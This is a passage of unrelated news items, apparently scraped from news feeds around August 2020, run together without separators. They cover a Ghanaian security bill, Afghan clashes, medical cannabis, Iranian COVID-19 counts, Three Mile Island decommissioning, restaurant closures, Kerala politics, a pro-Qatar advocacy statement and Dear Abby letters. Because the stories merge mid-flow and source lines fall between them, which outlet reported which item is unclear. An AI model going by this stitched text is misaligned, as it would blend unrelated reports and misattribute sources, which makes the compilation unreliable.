security challenges and to adequately cater for national security policy direction. He said in view of the national security architecture, the current functions of the intelligence agencies and the membership and functions of the regional and district security councils were woefully inadequate. He said the lines of reporting between the intelligence agencies, the national security architecture and other Ministries, Department and Agencies (MDAs) necessitated a holistic review to ensure clear channels of reporting. The required changes to Act 526 necessitated a repeal of Act 526 for a new and comprehensive legislation. Mr Seth Acheampong, Chairman of the Defence and Interior Committee who read the committees report stated that the Bill contained 52 clauses, a schedule and the composition of the National Security Council established under Article 83 of the 1992 constitution, the procedure for the meetings of the Council, secretary to the Council and functions of the Council. Mr Acheampong also observed that the Bill provided for the expansion of the functions of the intelligence agencies to include the combating of significant new threats such as cybercrime and terrorism. He said as result, the Bureau of National Investigation (BNI) would be converted into a National Intelligence Bureau (NIB) to reinforce its focus on activities skewed towards intelligence-oriented tasks. He said the Bill created additional committees of the National Security Council and clarified the roles of the key actors in the national security architecture, including the Minister responsible for National Security (NS), the NS Coordinator and the Chief Director of the Ministry responsible for NS. Mr Acheampong also indicated the Bill seeks to expand the membership and functions of the Regional and District Security Councils to include the contribution of important stakeholders such as the National Disaster Management Organization (NADMO) and Community leaders with knowledge in human security. He said the Bill also mandated the Regional Security Councils (REGSECs) and District Security Councils (DISECS) to consult, when appropriate, with important local stakeholders such as the National Peace Council, the Regional House of Chiefs and religious and other opinion leaders. Mr James Agalga Ranking Member on the Defence and Interior Committee, who seconded the motion, stated that the Security and Intelligence Agencies Act, 1996 (Act 526), which had been in existence for the past 24 years has served its purpose and needs to be reviewed. He said emerging global security challenges such as cybercrime and terrorism, which use not to be security challenges or threats at the time of the enactment of Act 526 made the current Bill very useful. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Eleven militants including a Taliban commander, Mullah Khalid, have been confirmed dead as clashes erupted in Sancharak district of the northern Sari Pul province on Monday, provincial police spokesman Noor Agha Faizi said Tuesday. The clashes, according to the official, erupted in Masjid-e-Sabz area of the restive district on Monday morning, lasting for a while, and the insurgents fled away after leaving 11 bodies behind including commander Khalid. Describing Khalid as notorious, the official asserted that the death of Khalid could prove to be a major setback to the insurgents in Sari Pul and its vicinity. Seven more militants were injured, the official added. Without hinting at the possible casualties of security personnel, Faizi said that police in conjunction with army would do their best to stabilize security in each corner of Sari Pul province. The Taliban outfit has yet to make comments. (CGTN) Lucy Stafford, 20, has Ehlers Danlos syndrome, which affects connective tissue. (Supplied: Lucy Stafford) A student who spent four years wheelchair bound has credited medical cannabis for enabling her to walk again. Lucy Stafford, from Cambridge, was diagnosed with Ehlers Danlos syndrome (EDS) which affects connective tissue when she was 16 years old after suffering its agonising symptoms since she was 10. By the time she was 20, Stafford had endured numerous joint dislocations that forced her to endure various surgical operations including on her spine, hip and bladder. Unsure how best to manage her symptoms, doctors prescribed opiates (drugs created from opium) when she was just 13, which left Stafford feeling zombified. Read more: Nice recommends two cannabis-based drugs for epilepsy and MS It was not until she dislocated her jaw aged 18 that a pain specialist suggested medical cannabis, which the NHS would not cover at the time. Stafford took it upon herself to get a dose in Amsterdam, with the drug easing her discomfort for the first time in her life. Although medicinal cannabis was legalised in November 2018, a private prescription set Stafford back 2,000 ($2,619) a month. After enrolling on a clinical trial into the treatment in June 2020, Stafford says her body finally functions. The student spent four years in a wheelchair after the condition caused her agonising pain and recurrent dislocations. Aged 17, Stafford spent six weeks in hospital around Christmas due to complications of a blood clot. (Supplied: Lucy Stafford) Stafford first endured horrendous pain when she was 10. By affecting a patients connective tissue, EDS often leads to loose, unstable joints that dislocate easily, as well as prolapse and incontinence. Unsure what was wrong at the time, Stafford was prescribed opiates when she slipped several discs in her back aged 13. The doctors had no real other option but to prescribe opiates, she told Yahoo UK. I was crying myself to sleep at night as I was in so much pain. Read more: Marijuana-filled balloon pulled from an ex-offender's nose Stafford gradually became dependent on the painkillers, requiring a stronger and stronger dose to ease her discomfort. I had horrendous withdrawal effects when it tapered off, she said. I had horrendous anxiety, I wouldnt sleep, I would sweat. Story continues I never took more than I was prescribed, but taking them every day, your brain does become dependent on them. Things took a turn for the worse when Stafford dislocated her jaw. Read more: Mother overcame a 25 year addiction to prescription painkillers None of my doctors had any idea what we could do to improve my quality of life at that stage, she said. It was really dire. My pain specialist tried to prescribe a cannabis-based medicine on the NHS that was denied immediately. It was just around the law change. On 1 November 2018, the UK government announced it would reschedule certain cannabis-based products for medicinal use. Despite the law change, patient access was said to be poor. By February 2019, not one patient had benefited from a cannabis prescription on the NHS, a professor wrote in The BMJ. Lucy, pictured at 20, now walks several kilometres a day after medical cannabis has given her a body that 'functions'. (Supplied: Lucy Stafford) That November, Stafford travelled to Amsterdam, where she smoked cannabis. It worked, she said. For the first time in my life my medication reduced my spasms, gave me an appetite and helped me sleep a night. I had energy, I could think clearly, I could concentrate. In March 2019 Stafford paid for a private prescription in the UK, but knew the cost was totally unsustainable. Since enrolling on the clinical trial Project 21, she has had a consistent supply, allowing her to come off her prescription painkillers. I was in a wheelchair; I couldnt walk for four years, said Stafford who studies science, technology, engineering and maths at The Open University. For months I couldnt lift my head off the bed. Now I walk a few kilometres every day. Stafford who hopes to one day work in pharmacology admits the treatment is not a miracle cure, but it eases her symptoms enough to do the physiotherapy and physical rehabilitation to build up her strength. On opiates I was too zombified, she said. Staffords drug regimen involves her administering two types of cannabis oil drops beneath her tongue three times a day. She also has a cannabis flower she can vaporise when she needs instant relief. Im functional now, she said. I used to do one thing and take days and days to recover. [Now] I get up and go for a walk, I study, I see friends in the evening. I still have a disability, but I wake feeling refreshed and sleep well. My body functions. I live a way more normal life than I ever would have imagined. Project 21 aims to monitor the health outcomes of 20,000 patients on cannabis-based medicinal products to determine their safety and efficacy. The participants have everything from chronic pain and anxiety to multiple sclerosis and Tourettes. The team behind the trial hope its results will provide evidence for NHS funding. With the trial ending in 2022, Stafford worries she will be stuck again if the health service does not prescribe medical cannabis more readily. The UK government has been accused of being slow to recognise cannabis medical benefits. Uruguay became the first country to legalise the drug for recreational use in 2012. That same year, Washington State and Colorado voted in support of cannabis for non-medical use. It is legal for medical reasons in 33 of the 50 states. Lesotho was the first African country to legalise the cultivation of cannabis for medicinal purposes, while Spain and South Africa allow it to be used recreationally in private places. Although the sale of cannabis remains illegal in Brazil, Jamaica and Portugal, possessing a small amount of the drug is no longer a criminal act. Under Dutch law, cannabis can be sold over the counter in licensed coffee shops, but it is illegal to produce or supply the drug. Source: Xinhua| 2020-08-12 00:07:42|Editor: huaxia Video Player Close TEHRAN, Aug. 11 (Xinhua) -- Iran's total COVID-19 infections rose to 331,189 on Tuesday after 2,345 new cases were registered over the past 24 hours, official IRNA news agency reported. Of the new cases, 269 were hospitalized, said Sima Sadat Lari, spokeswoman for Iran's Ministry of Health and Medical Education, during her daily briefing. The total death toll from the novel coronavirus in Iran hit 18,800 after 184 more fatalities were added overnight, Sadat Lari added. Until Tuesday, 288,620 patients have recovered and 3,983 remain in critical condition, she noted. A total of 2,736,514 COVID-19 lab tests have been carried out in Iran by Tuesday, she said, adding 15 Iranian provinces are in high-risk and 11 others remain in alert condition over the disease. Iran announced its first cases of COVID-19 on Feb. 19. Iran and China have offered mutual help in combating the COVID-19 pandemic. In mid-February, at the early stage of the coronavirus outbreak in China, Iran lit up the Tehran Azadi (Liberty) Tower to show its solidarity with China, and donated 3 million masks to China. In return, China has delivered several shipments of medical supplies to Iran. On Feb. 29, a five-member Chinese medical team visited Iran for a month-long mission to help Iran fight the pandemic. Enditem Africa Digital Festival by Digital Foundation Africa was launched on Friday, July 31, 2020, with its Chief Vision Officer Foster Kofi Sam addressing various digital enthusiasts and all key stakeholders in Africas Digital Ecosystem. The Event was launched on Zoom and streamed across Africa Digital Festivals Facebook page with participants from Cote DIvoire, South Africa, Nigeria, Ghana, Atlanta among others from Africa and Beyond. Speaking at the Pre-launch, Mr. Foster Kofi Sam indicated the Pre-Festival activities will commence with Africas 50 Digital Champions, a list of innovators and changemakers who are unlocking Africas Digital Future in August 2020. The List, which is supported and presented by Turn Left Media, the exclusive partner to LinkedIn Marketing solutions in Africa. The announcement by Mr Sam was backed with a partner speech from Mr. John Bowles the CEO of Turn Left Media in South Africa emphasizing the reason for his company supporting and sponsoring the list to showcase 50 African innovators creating impact in their various countries. Mr. Kudakwashe Mazhetese also spoke on Africa Digital Festivals GetHer in Digital project in South Africa on how the project is empowering women in Southern Africa with plans to launch in Tanzania among other southern African countries. Alex Sea who is the CEO of Africa Fintech Forum, a partner to the Festival also talked about how excited his team is ready to explore the digital finance space with Foster Kofi Sam and the ADF team through a proposed Roadshow to about 20 African Countries. Some of the Pre-festival Activities include but not limited to; GLITCH, a Gaming and Music Experience that audience of the festival would enjoy when the host country is announced later in the year. GLITCH is to have 24 African Nations competing to qualifier to the Grand Finale starting with qualification stages in September 2020, a digital debate with host of activities lined up by the team. The CVO of the Festival, Mr. Foster Kofi Sam iterated that Africa needs its Digital Champions hence the creation of this Digital festival is to bring all major ecosystem players on board to have a digital-enabled African in a Digital Africa. He also indicated this team is opened to partnership and collaboration and all activities are under the Digital Foundation Africa which is a not-for-profit organization so what innovations from Africa will continue to get the necessary platforms to be showcased while recognizing the players in Africas Digital Space. Africa Digital Festival is to be hosted in an African city which would later be announced with all Festival activities out doored with the necessary plans. China sanctions 11 American officials over US moves against Hong Kong Iran Press TV Monday, 10 August 2020 2:13 PM China has slapped sanctions on eleven US officials, in retaliation for similar measures by Washington against Hong Kong's leader and a number of other key officials over a security law that China enacted for the semi-autonomous region in late June. "China has decided to impose sanctions on some people that behaved badly on Hong Kong-related issues," Chinese Foreign Ministry spokesman Zhao Lijian said at a daily news briefing in Beijing on Monday, without providing further details on what the sanctions would entail. The sanctions list includes Republican senators Ted Cruz and Marco Rubio as well as Human Rights Watch director Kenneth Roth and National Endowment for Democracy president, Carl Gershman, he added. The US Treasury Department announced on Friday that it was freezing US-based assets of Chief Executive Carrie Lam and 10 other senior officials in Hong Kong, also criminalizing any financial transactions with the aforementioned individuals. Treasury Secretary Steven Mnuchin claimed in a statement that Lam was sanctioned because she is "is directly responsible for implementing Beijing's policies of suppression of freedom and democratic processes." Zhao said the US move was a violation of international law, adding that it "grossly interferes in China's internal affairs." He also noted that Washington's Hong Kong-related sanctions "will only make the world more aware of US hegemony, bullying and double standards." Following last year's anti-government protests, Beijing introduced in late June a new national security law that criminalizes sedition, secession, and subversion against the mainland. The law also paves the way for Chinese national security institutions to operate in the city for the first time since 1997, when Hong Kong returned from British to Chinese rule. Those offenses are punishable by sentences of up to life in prison. Protests erupted in Hong Kong after the law was proposed on May 22. Skeptics say the new law would be a blow to the territory's autonomy and civil liberties, but Beijing has assured that the law would target a minority of individuals who disregard law and order in Hong Kong, which was rocked last year by riots over a now-shelved extradition bill. The US sanctions came a day after President Donald Trump issued executive orders that would ban the social media apps TikTok and WeChat from operating in the country if they are not sold by their Chinese-owned parent companies within 45 days. Relations between the United States and China have hit the lowest level in decades under Trump. The two are at loggerheads over a range of issues, including trade, Hong Kong, Taiwan, the South China Sea, and the coronavirus pandemic. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Pakistans Foreign Minister Shah Mehmood Qureshis remarks against Saudi Arabia after Riyadh refused to interfere on Kashmir issue, have invited criticism at home. The differences in their relations surfaced when Pakistan was made to pay back USD 1 billion to Saudi Arabia. This reflected the fact that Islamabad is gradually losing the support of other Muslim countries. Recently two Pakistani journalists -- Rauf Klasra and Amir Mateen -- held a discussion on the sudden policy shift of Saudi Arabia towards Pakistan. While criticising Qureshi for making such statements, Mateen said, Sometimes Qureshi speaks emotionally. He gets carried away. As Pakistan, which is in a financial crisis, is dependent on Saudi Arabia, Qureshi should have been cautious of making any statements, he said. As we are very much dependent on Saudi Arabia, we should complain only to a limit. Amid such a situation, Qureshi should have been careful because Mohammed bin Salman is young and has impulsive behaviour. Mateen further said, It should not have been expected that as Saudi Arabia is a friend of Pakistan so it will automatically be against Indias stance on Kashmir. This is not a college but an international arena. The development comes even as Pakistan has been pushing for the foreign ministers meeting of the Organisation of Islamic Cooperation (OIC) since India abrogated Article 370, which gave special status to the erstwhile state of Jammu and Kashmir. In a report published by Dawn, a Pakistan diplomatic source confirmed that Saudi Arabia had shown reluctance to accept Islamabads request for an immediate meeting of OIC foreign ministers on Kashmir. After Pakistan failed to gather support from the OIC members on Kashmir on May 22, Prime Minister Imran Khan said, The reason is that we have no voice and there is a total division amongst (us). We cannot even come together as a whole on the OIC meeting on Kashmir. Though Pakistan reportedly made attempts to push its narrative of raising the issue of rising Islamophobia in India in its agenda, Maldives, an ally of India, thwarted the move and said, Isolated statements by motivated people and disinformation campaigns on social media should not be construed as representative of the feelings of 1.3 billion. Maldives Permanent Representative to the United Nations, Thilmeeza Hussain, said that alleging Islamophobia in the context of India would be factually incorrect. State regulators have reached a settlement with the owners of Three Mile Islands Unit 2, the nuclear reactor that partially melted down in 1979, that includes the creation of a decommissioning advisory panel. The settlement, the result of concerns raised by a proposed license transfer, did not go as far as similar ones in California and Massachusetts that included financial guarantees and other safeguards designed to ensure the potentially decades-long cleanup is completed. Youd think a settlement to create a citizens advisory board would include input from citizens this agreement was negotiated in a cave, said longtime citizen watchdog Eric Epstein. Epstein joined the state Department of Environmental Protection in opposing FirstEnergys plan to transfer its license for Unit 2 to the Utah-based EnergySolutions for decommissioning. A similar advisory panel existed for more than a decade after the meltdown but has long since disbanded. In its absence, local residents have had few venues to raise concerns about the nuclear reactor. The DEP, as part of the settlement, agreed to withdraw its objections to the transfer filed earlier this year with the U.S. Nuclear Regulatory Commission. Epstein, who filed a similar petition with the NRC, said he has no plans to withdraw. READ MORE: We believe theres a clear and present danger: Three Mile Island decommissioning in question Earlier this year, state Environmental Secretary Patrick McDonnell raised a number of unanswered questions about the proposal. They included concern that FirstEnergy, whose decommissioning funds are tied to a faltering stock market, wont leave EnergySolutions with enough money for cleanup; that radiation levels at the old reactor remain largely a mystery; that FirstEnergy hasnt provided enough detail about what it plans to do with radioactive material; and that the entire process could leave the area with longterm environmental and public health hazards. FirstEnergy supplied the DEP with information to address those concerns about the viability of the transfer. Those materials, however, have not been made public because the state officials as well as Epstein signed non-disclosure agreements (NDAs) barring them from discussing their contents. Epstein, who also signed an NDA, said the materials he saw did not fully satisfy his questions. Regardless of the answers to these concerns, Three Mile Island will house toxic nuclear waste for years and possibly decades due to the absence of a national repository. The DEP settlement requires FirstEnergy and the other companies associating with Unit 2 to provide the agency with quarterly public reports containing information about cleanup progress and radioactive waste. Likewise, state officials will be granted access to daily decommissioning meetings and given regular updates on the companys finances, including the ratepayer-funded decommissioning trust fund. That financial information, however, is deemed confidential and will not be released to the general public, according to the settlement agreement. Two key concerns, of course, center on how ratepayer-funded money set aside for decommissioning would be used and whether FirstEnergy and any successor companies have the financial wherewithal to adequately clean up and maintain a toxic waste site for years and perhaps decades to come. In its most recent filing with the NRC this March, GPU Nuclear reported having about $899 million in its decommissioning fund against estimated cleanup costs of more than $1.3 billion. The wildcard, of course, is that these funds are linked to the stock market, which has proven exceedingly volatile during the coronavirus crisis. Epstein said the DEPs settlement falls far short of what he believes is needed. Youre really not going to know radiation levels, he said. Had we been party to the settlement we would be advocating for real-time monitoring, financial guarantees and bonding, emergency planning resources and an independent advisory board free of industry influence. For comparison, this summer energy companies in California and Massachusetts signed settlements of $22 million and $193 million for the decommissioning of the San Onofre and Pilgrim nuclear power plants, respectively. READ MORE: Whos paying to decommission Three Mile Island? You are, and youre keeping the nuclear waste, too. Likewise, Epstein said the advisory panel lacks the independence and transparency needed to provide true oversight. According to the settlement, the community advisory panel shall include a cross section of local community members of the public and government representation, including one representative from [Unit 2s owners]. The panel will be required to meet at least two times per year, with a contingency for virtual meetings during the coronavirus pandemic. A DEP spokesman could not answer questions Tuesday about when the panel would begin meeting, how its membership would be chosen, what authority it has and whether it would also include oversight of Unit 1, which is also slated for decommissioning under a different owner, Exelon. Epstein said the agreement also failed to address emergency planning, as settlements in other states have. Last month, the NRC allowed Exelon to reduce its emergency planning responsibility for both units. While the company owns Unit 1, it was put in charge of emergency planning for both. READ MORE: How did 4,707 coronavirus cases go missing? The devils in the data That means Exelon will end the routine siren tests, off-site radiation monitoring and the 10-mile evacuation zone around the site. It would also end its contributions to local governments which, in 2018, included $425,000 to the Pennsylvania Emergency Management Agency; $87,000 to Dauphin County and $5,000 to Londonderry Township, where the facility is located. The Pennsylvania Emergency Management Agency has said that it plans to continue planning, training and exercises at two shuttered reactors but its not clear what exactly that will entail or whether the 10-mile evacuation zone and off-site radiation monitoring would continue. The Unit 2 settlement does not address emergency planning but it does include a clause stipulating that DEP shall reserve the right to conduct its own independent surveys to confirm the radiological characterization and final release surveys performed by [FirstEnergy and its successors]. Wallace McKelvey may be reached at wmckelvey@pennlive.com. Follow him on Twitter @wjmckelvey. Find PennLive on Facebook. Read the The hunt for Ray Gricar. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. Anna Schmeltz of Park Ridge will attend the University of Illinois in Urbana-Champaign, majoring in communications. Its important to me to get the full experience of being a freshman on campus, Schmeltz said. I originally wanted to go further away to college and then with the outbreak of corona, I decided that I should go somewhere closer. Knowing that its only a two-hour drive back home makes me feel a lot better, and my parents feel a lot better. Thiruvananthapuram, August 11 : CPI state secretary Kanam Rajendran has written to prime minister Narendra Modi and union minister for environment Prakash Javadekar seeking a roll back of the new draft environmental impact assessment (EIA) notification. Calling on the BJP-led central government to withdraw the notification, Mr. Rajendran alleged that the new notification was aimed at helping the corporates. Even as the present situation called for furthering strengthening environmental protections, the draft EIA notification 2020 would result in diluting the existing protections, the CPI leader lamented. He charged that the draft notification paved the way for companies to make investments without securing environmental clearances. This would not augur well for the country, he said, adding that the notification was also riddled with several defects. The notification allows the government to provide ex post facto clearance to projects that had been started without obtaining the necessary environmental clearances. The draft notification has drawn flak from several quarters. The ministry of environment, forests and climate change has reportedly received more than 4 lakh letters expressing objection to the new notification. With the deadline for submitting objections and suggestions on the draft EIA notification ending on Tuesday, the CPI(M)-led LDF government in Kerala has come under fire for its indifference to the notification. CPI leader and rajya sabha MP Binoy Viswam had the other day slammed the new notification. He also called on the LDF government to speak out against it. The LDF governments silence on the issue would dent the left fronts reputation, he had opined. Congress Kerala unit (KPCC) chief Mullappally Ramachandran also came down on the LDF government over its silence on the issue. Talking to reporters on Tuesday, he said that the LDF governments refusal to express objection to the EIA notification 2020 amounted to criminal negligence. CPI(M) leaders in Kerala could not even bring themselves to so much as express concern on the draft notification even as the partys central leadership has come out against it. CPI(M) is a party that has destroyed the environment. Their love for the environment is merely lip service, he charged. Chief minister Pinarayi Vijayan told reporters at his daily press briefing on Tuesday that the state government had expressed its concern to the central government on the draft notification. The state was of the view that the central government should hold more discussions with all stakeholders on the issue, he said. The Kerala government had maintained a studied silence on the notification until the eve of the deadline to submit suggestions, much to the chagrin of environmentalists. The new draft EIA notification has drawn flak from environmental activists for what they alleged as the watering down of important environmental protections contained in the 2006 notification. Grandma's Pies closes again Grandmas Pies & Restaurant in Colonie , open since 1976 and an area institution that was famed for years for requiring police traffic control to handle the volume of vehicles picking up the some 10,000 pies it sold every Thanksgiving week, has closed. Alex Morales, the owner of La Fiesta, a Mexican restaurant in Colonie, who bought Grandmas two summers ago after it closed abruptly, confirmed to the Times Union that Sunday was the last day of business for Grandmas. Coronavirus did the job, he said. Founder Joe Danaher ran Grandmas, located at 1273 Central Ave., until 2008, when he sold it to the owner of the nearby Ralphs Tavern. The operating partners of the second incarnation, Dave Houle and Ron Raylinski, had it for a decade before announcing, with a weeks notice, its closure in July 2018. Morales announced a week later that he was reopening Grandmas. New World Bistro Bar reopens New World Bistro Bar in Albany, closed for about two months since the departure of founding chef Ric Orlando, reopened this week with two new faces running the kitchen and responsible for the new menu: Hannah and Zachary Welton. Together for about four years and married since February, the couple relocated to the Capital Region in June to become co-head chefs at New World, where Zachary was Orlando's top lieutenant from 2011 to 2014. Among the items on the new menu are Catskill mushroom pate, swordfish ceviche, lobster cappelletti, al pastor-style pork chop and Catskill steelhead trout with peach XO, shrimp rice and Siam salad. New World is open from 4 to 9:30 p.m. Tuesday through Saturday. The New World market, featuring grab-and-go items, Mediterranean mezze/tapas, house-made condiments and sauces, wine and bottled cocktails, opens at noon. There is extremely limited indoor seating as well as tables on the restaurants original patio, at new sidewalk tables and under a tent in the rear parking lot. Starting next week, the menu will also be available for takeout via online ordering from the restaurants website, newworldbistrobar.com. Reservations for table seating are strongly encouraged and can be made by calling 518-694-0520. The restaurant is at 300 Delaware Ave. Maxon's moving to former Bayou site in Glenville Maxons American Grill, open in modest, squat building on Guilderland Avenue in Rotterdam since is 2016 founding, this coming fall will move to much larger quarters, in the former home of the Bayou Cafe in Glenville. According to a Facebook post, Maxons will remain open, at 2544 Guilderland Ave., through the end of September, with an October opening planned for 507 Saratoga Road/Route 50. The new home, being purchased by Maxons, has been empty since the Bayou closed in early 2019. Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. According to the announcement, This opportunity gives us a lot more room to grow. Bigger dining area, bigger bar area and an outside deck for dining as well!! Maxons is open for lunch and dinner daily. Call 518-382-1038. Veronica's Culinary Tavern in Altamont is closed Veronicas Culinary Tavern in Altamont said goodbye to its patrons and neighbors with a Last Call party last Thursday. The restaurant initially tried takeout at the beginning of the pandemic shutdown but closed in mid-April. Owner Peter Blackman said last week, I just didnt see how I could make it work with todays current situation, prompting the permanent closure. An original partner in the former Aperitivo Bistro in Schenectady, Blackman bought what was then a wine bar called Mio Vino in fall 2016, changing the name to Veronicas Culinary Tavern the following spring. Mio Vino first opened in late 2011 and struggled with management and staffing in the couple of years before before Blackman took over. The address was 186 Main St. Compiled by Steve Barnes. Items to be submitted for publication should be emailed to sbarnes@timesunion.com. Visit his blog, blog.timesunion.com/tablehopping. The North East Development Commission (NEDC) is to execute 224 developmental projects in 112 Local government areas across the six North-East states. The NEDC Managing Director, Mohammed Alkali, disclosed this when the North East Support Groups, Borno State chapter, paid him a courtesy visit on Tuesday in Maiduguri. Mr Alkali said the projects would be executed under the Rapid Response Intervention (RRI), as part of the comprehensive master plan to holistically rebuild the region. He said the projects would be executed based on the recommendations and demands of the states in the areas of education, health, social infrastructure, agriculture and WASH. He explained that the projects were part of the early recovery actions plans by the Commission to return simple infrastructure which included, public and institutional structure, boreholes and culvert that were ravaged by the insurgency to function again. He stated that the commission was currently supporting newly returned communities with Integrated Agricultural Programmes. He explained that the Commission has set aside a maximum funding of N50 million as intervention for each of the 112 local government areas. The Managing Director said the commission has also earmarked N6 billion to replenish the 10 per cent annual grants on scholarship for students in the region. Mr Alkali said the beneficiaries include; 5, 000 bachelors degree, 336 Masters and 54 Doctorate Degree candidates. The funds would also be used for skills and acquisition training and provision of starter packs to 5, 000 Information Communication Technology (ICT), skills, 5, 000 women and youths on entrepreneurship, and 2, 000 other vocational skills in each of the 1,028 wards in the Northeast. Earlier, The Chairman of the NESG, Bulama Mali-Gubio, noted the huge devastation experienced in the North-East occasioned by the 10-year-old insurgency. Mr Mali-Gubio commended the commission for its developmental programmes aimed at alleviating the suffering of the people in the North East. The chairman also noted the high rate of youth vulnerability due to lack of employment, education and poverty and appealed to the federal government to review funding to the commission, considering the mass population of the northeast. He also called for the creation of a Third Monitoring Arm, trustworthy to provide the Commission with true and credible information about the state of things in all parts of the six states of the northeast. (NAN) The Sheikh Tamim Bin Hamad Foundation (STBHF) has received credible information about a dangerous agenda on the board to misrepresent Qatars ongoing humanitarian aid to the people of Lebanon after the devastating explosion in Beirut, which has killed over 160 people, injured over 5, 000 and made more than half a million people homeless. This explosion was preventable as reports on the scene indicate. The place of the explosion is Beiruts Water Quay, which provides a route for food and other essential goods entering into Lebanon. Besides the rise in hunger, there is a greater risk to health due to the cancer-causing chemicals that were released into the air, and insufficient hospitals and health centers to treat the injured. It is too sad, that this horrendous event comes at a time when Lebanon finds itself in a deep economic mess, coupled by the fast-spreading deadly Covod-19 virus pandemic. This worsening economic situation was heightened by the criminal wars in Syria, Iraq and Yemen, and the military reign of terror in Egypt. Despite these despicable wounds that have been inflicted on the Lebanese people, it appears there are countries that are bent on hindering the ongoing humanitarian assistance and service to Lebanon. Information at our disposal reveals that the blockading countries of Saudi Arabia, Bahrain, United Arab Emirates and Egypt held a secret meeting of top security and intelligence units in Egypt over the weekend to access what they called Qatars role in Lebanon. It is believed that the blockading countries are about to launch a demonic campaign of misinformation and disinformation, in their desperate attempts to misconstrue Qatars leading role in the humanitarian service and assistance to Lebanon, which the blockading countries already assumed to be a front for the Hezbollah group. While we join the whole world in mourning as we remember all those who succumbed, as well as praying for the quick recovery of the injured, we condemn any attempts by the blockading powers, to discredit Qatars selfless humanitarian service to Lebanon as absurd, malicious and careless assumption. Unless the blockading countries want the international community to believe that they are implementing a pro-Zionist policy in the cruelest way, there is just no moral language to justify any attempts to equate Qatar with acts of terrorism. We believe the blockading countries are being used by foreign powers to rehears the Israeli diplomat, Ron Prosor s aggressive rhetoric against Qatar. Time and again, the competent authorities in Doha have made it sufficiently clear that Qatar does not and has never had links with any terrorist outfits, and has never allowed itself to be lured in any criminal activities, much less terrorist activities elsewhere. We want to place it on record that Qatar has nothing to do with terrorist outfits, that its selfless role and sacrifices for others have been acknowledged by the international community. The Sheikh Tamim Bin Hamad Foundation (STBHF) rejects this criminal behavior whereby the blockading countries are trying to divert domestic attention, and we ask those countries to rather reflect on their anti-Qatari policy and aggressive rhetoric and their activities, including their genocide campaign against the civilian population of Yemen, as well as the unjust and illegal blockade against Qatar. Sheikh Tamim Bin Hamad Foundation (STBHF) believes the blockading countries deceptive and rehearsed allegations against Qatar, not substantiated by evidence are tailored and clinically executed to mislead international public opinion. The blockading countries are jealous because Qatar is the most educated Arab nation in the Gulf region with the most talented and courageous, generous and kindliest of leadership blessed by God. Three years have passed since the blockading countries decided to blockade Qatar from dealing with the outside world. The purpose of the blockade, from credible intelligence sources was to effect regime change in Doha and to subject the Qatari people to misery, suffering and economic ruins. The Sheikh Tamim Bin Hamad Foundation (STBHF) emphatically condemns any despicable act, and will continue to work in that direction in its strenuous efforts to advocate for an end to the blockade against Qatar, and in denouncing the genocide campaign against the people of Yemen. We share in the responsibility of advocacy with governments and those in authority to find peaceful solutions to complex and volatile conflicts. We recognize the immense practical efforts of Qatar in Lebanon. Having stated the above, the Sheikh Tamim Bin Hamad Foundation (STBHF) Calls on the United Nations Security Council and Secretary-General of the world body, Antonio Guterres to consider the blockade against Qatar as an assault on world peace, security and development. The people of Qatar deserve to live in peace to develop their lives and their country. Moreover, the Sheikh Tamim Bin Hamad Foundation (STBHF) appeals for the United Nations to adopt a firm and principled stance against the criminal blockade against Qatar, and attempts by the blockading countries to overthrow the legitimate government of the blessed Emir, His Highness Sheikh Tamim Bin Hamad Al-Thani. The Sheikh Tamim Bin Hamad Foundation (STBHF) is committed to the vision of a just peace for all people of the world. We therefore share in the sorrow of those in Beirut, of all the people of Lebanon, Syria, Yemen, and throughout the Middle-east region. The United Nations must not be complicit by inaction or inadequate reaction in the unjust, illegal and criminal blockade against Qatar. Sender: Fatmata B. Bangura Acting Prgramme Coordinator Sheikh Tamim Bin Hamad Foundation (STBHF) For and on behalf of volunteers of the Sheikh Tamim Bin Hamad Foundation (STBHF) DEAR ABBY: My wife and I have been together since we were 16, married for 25 years. Her parents took me in as a teenager, and her family has been my family ever since. I'm the kind of person who loves everyone equally. I will bend over backward for someone in need and have done so for my wife's family many times. Over the last few years, my wife's brother, nephew and niece have turned against me. They've called me controlling, hateful and racist. I am none of those. I am, though, a law enforcement officer and a Christian. My wife's brother is a convicted felon, and her niece went to one of those anti-everything colleges. This has created a rift in the family and caused my wife and me to feel hated and isolated, which has ruined family gatherings and holidays. How can I fix this? What can I do to help them see me for who I am, instead of their biases based on my religion and occupation? -- REALLY NOT LIKE THAT DEAR REALLY NOT: There is nothing you can or should do to erase their biases. From your description, you have done enough good deeds for your in-laws to have shown them the kind of person you are. You have mentioned only your brother-in-law the felon and his radicalized daughter. Where does the rest of the family stand on this? If they are joining in and allowing you to be isolated, quit trying to impress them. Instead, spend your time with people who like, understand and accept you for who you are and don't look back. Your brother-in-law and his kids will come looking for you as soon as they need something else from you, but when they do, I sincerely hope you'll resist the temptation to buy your way back in. ** ** ** DEAR ABBY: I work closely with a woman who is 21 years younger than I. We are both single. Because of our age difference and professional relationship I am not looking to date her. However, over the last couple years I have developed romantic feelings for her. I converse with her by asking questions about movies she likes, books she reads or what she did the previous weekend. Her answers are usually short and without elaboration. I even share with her things that I do in my life, but never once in the five years I have known her, has she ever initiated a conversation with me or asked me about my life. She acts differently with other male co-workers. She does things for them, smiles at them and seems genuinely interested in their conversation. It really stings every time I see her socialize with others and ignore me. What can I do to get out of this psychological rut I am in? -- STUCK IN ILLINOIS DEAR STUCK: Your co-worker may have picked up on the fact that you are attracted to her and it is not reciprocated, which is why she keeps your relationship strictly formal and work-related. I am sure this stings, and for that you have my sympathy. You now must do what everyone else in your situation does, which is concentrate on meeting women who are available. You are not going to find what you're looking for in your workplace. What's going on is not healthy for you or conducive to a productive work environment. If you can't quell that crush on her, you may have to change jobs so you won't have to work so closely with her -- or at all. ** ** ** Dear Abby is written by Abigail Van Buren, also known as Jeanne Phillips, and was founded by her mother, Pauline Phillips. Contact Dear Abby at www.DearAbby.com or P.O. Box 69440, Los Angeles, CA 90069. ** ** ** To order "How to Write Letters for All Occasions," send your name and mailing address, plus check or money order for $8 (U.S. funds) to: Dear Abby -- Letter Booklet, P.O. Box 447, Mount Morris, IL 61054-0447. Shipping and handling are included in the price. COPYRIGHT 2020 ANDREWS MCMEEL SYNDICATION 1130 Walnut, Kansas City, MO 64106; 